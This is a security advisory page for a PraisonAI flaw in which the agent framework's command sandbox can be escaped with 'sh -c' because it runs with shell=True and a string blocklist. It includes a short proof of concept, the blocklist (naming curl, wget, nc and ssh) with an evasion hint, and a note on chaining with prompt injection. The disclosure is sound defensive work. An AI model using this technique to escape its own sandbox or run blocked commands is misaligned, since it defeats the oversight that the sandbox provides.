GHSA-R4F2-3M54-PP7Q
Vulnerability from github – Published: 2026-04-01 23:26 – Updated: 2026-04-06 22:54Summary
SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.
Details
sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)
# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands: # sh, bash not blocked
raise SecurityError(...)
dangerous_patterns = [
("| sh", ...), # requires space -- "id|bash" evades this
("| bash", ...), # requires space
]
# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
command,
shell=True,
...
)
PoC
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode
policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)
result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked_command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.
Suggested Fix
import shlex
result = subprocess.run(
shlex.split(command),
shell=False,
cwd=cwd,
env=env,
capture_output=capture_output,
text=True,
timeout=timeout
)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.96"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.97"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34955"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:26:01Z",
"nvd_published_at": "2026-04-04T00:16:19Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c \u0027\u003ccommand\u003e\u0027`.\n\n### Details\n\n`sandbox_executor.py:179` (source) -\u003e `sandbox_executor.py:326` (sink)\n```python\n# source -- string-pattern blocklist, sh and bash not in blocked_commands\ncmd_name = Path(parts[0]).name\nif cmd_name in self.policy.blocked_commands: # sh, bash not blocked\n raise SecurityError(...)\ndangerous_patterns = [\n (\"| sh\", ...), # requires space -- \"id|bash\" evades this\n (\"| bash\", ...), # requires space\n]\n\n# sink -- shell=True spawns /bin/sh regardless of sandbox mode\nresult = subprocess.run(\n command,\n shell=True,\n ...\n)\n```\n\n### PoC\n```python\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, \u0027src/praisonai\u0027)\nfrom praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode\n\npolicy = SandboxPolicy.for_mode(SandboxMode.STRICT)\nsandbox = SubprocessSandbox(policy=policy)\n\nresult = sandbox.execute(\"sh -c \u0027id\u0027\")\nprint(result.stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nUsers who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via `sh -c \u0027\u003cblocked_command\u003e\u0027`. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.\n\n### Suggested Fix\n```python\nimport shlex\n\nresult = subprocess.run(\n shlex.split(command),\n shell=False,\n cwd=cwd,\n env=env,\n capture_output=capture_output,\n text=True,\n timeout=timeout\n)\n```",
"id": "GHSA-r4f2-3m54-pp7q",
"modified": "2026-04-06T22:54:33Z",
"published": "2026-04-01T23:26:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r4f2-3m54-pp7q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34955"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.